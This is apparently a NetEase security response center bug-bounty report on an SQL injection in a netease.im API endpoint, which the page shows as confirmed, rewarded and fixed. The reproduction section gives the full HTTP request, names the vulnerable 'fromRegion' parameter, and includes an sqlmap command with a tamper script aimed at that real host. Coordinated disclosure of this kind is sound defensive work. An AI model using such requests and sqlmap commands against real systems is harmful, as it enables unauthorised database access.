首页

漏洞提交

礼品库

贡献榜

公告

您好，xjqz

个人中心

退出

提交漏洞 漏洞详情

漏洞标识 c9ac3d8605216cd1012df4a277ba9dfd

提交时间 2021-06-20 01:03:10

当前状态

已修复

漏洞名称 网易云信站点(https://netease.im/api/wecan/transferRate)存在SQL注入

漏洞类型 安全漏洞-SQL注入

危害等级 高危

漏洞详情

一、详细说明:

网易云信站点存在SQL注入

二、漏洞复现辅助信息:

1. 漏洞URL：https://netease.im/api/wecan/transferRate

2. 功能入口：使用爬虫获取获得

3. 漏洞复现所需的HTTP报文（代码块格式）：

POST /api/wecan/transferRate HTTP/1.1

Host: netease.im

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Content-Length: 229

Accept: application/json, text/plain, */*

Accept-Language: en-US

Content-Type: application/json;charset=UTF-8

Cookie: Hm_lvt_1fdecd95870561fc7daa6ccd738ea09e=1624103645; Hm_lvt_b265bfbb2970bfbf3d9280e2d340acdc=1624103654; _ntse_status=; __root_domain_v=.netease.im; _qddaz=QD.721624103660868; _qdda=2-1.1; _qddab=2-cei9db.kq3pdxs3; pgv_info=ssid=s802301308; pgv_pvid=4314819370; ts_uid=8740254640; Hm_lpvt_b265bfbb2970bfbf3d9280e2d340acdc=1624103685; ts_last=netease.im/m; Hm_lpvt_1fdecd95870561fc7daa6ccd738ea09e=1624103713

Referer: https://netease.im/

Sec-Ch-Ua:

Sec-Ch-Ua-Mobile: ?0

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Accept-Encoding: gzip

{"apiName":"dqs_api_mysql_rtn_e2e_region_stats_day","appKey":"35d991d1-0821-41ad-948a-2bfe7bcdb3ff","bizParams":{"endDate":"2021-06-19","fromRegion":"华东","startDate":"2021-06-12","toRegion":"华东"},"tenant":"rtn"}

保存数据报文名为1.txt，使用SQLMAP：

python .\sqlmap.py -r 1.txt --batch -p "fromRegion" --level 3 --tamper space2comment --banner --batch --level 3 --force-ssl

三、漏洞证明:

展开

处理进度

1

已提交

您的报告已提交

2021-06-20 01:03

2

审核中

您的报告正在审核中

2021-06-20 01:03

3

已确认

您的报告已确认为安全漏洞，报告积分和贡献币将在 24h 后添加到您的账户

2021-06-21 14:17

4

奖励到账

您的奖励已到账

2021-06-22 14:18

5

已修复

您提交的报告已修复

2021-06-22 18:24

留言区

在漏洞处理过程中，若对处理流程、评分规则或漏洞定级等有异议，可在对应漏洞留言处留言，或通过邮件 [email-masked] 提交反馈

0

验证码

换一张
提交

全部评论 5

网易安全应急响应中心

[自动回复]尊敬的白帽子，网易安全中心已经收到您的留言，我们会及时处理回复，请您耐心等待。

2021-06-21 23:12:36

https://netease.im/wecan 此处是入口 页面加载是会自动请求漏洞url的api接口

2021-06-21 23:12:36

网易安全应急响应中心

[自动回复]尊敬的白帽子，网易安全中心已经收到您的留言，我们会及时处理回复，请您耐心等待。

2021-06-21 14:27:24

抱歉，是爬虫动态获取的，具体得麻烦您问下业务系统

2021-06-21 14:27:24

网易安全应急响应中心

能提供该 api 具体是哪个系统的吗

2021-06-21 10:37:20

友情链接

网易帐号中心 网易帮助中心

网易帐号管家 合作伙伴

联系方式

QQ群：117278087

邮箱：[email-masked]

关注我们

服务条款 隐私政策 网易(杭州)网络有限公司版权所有 © 1997-2020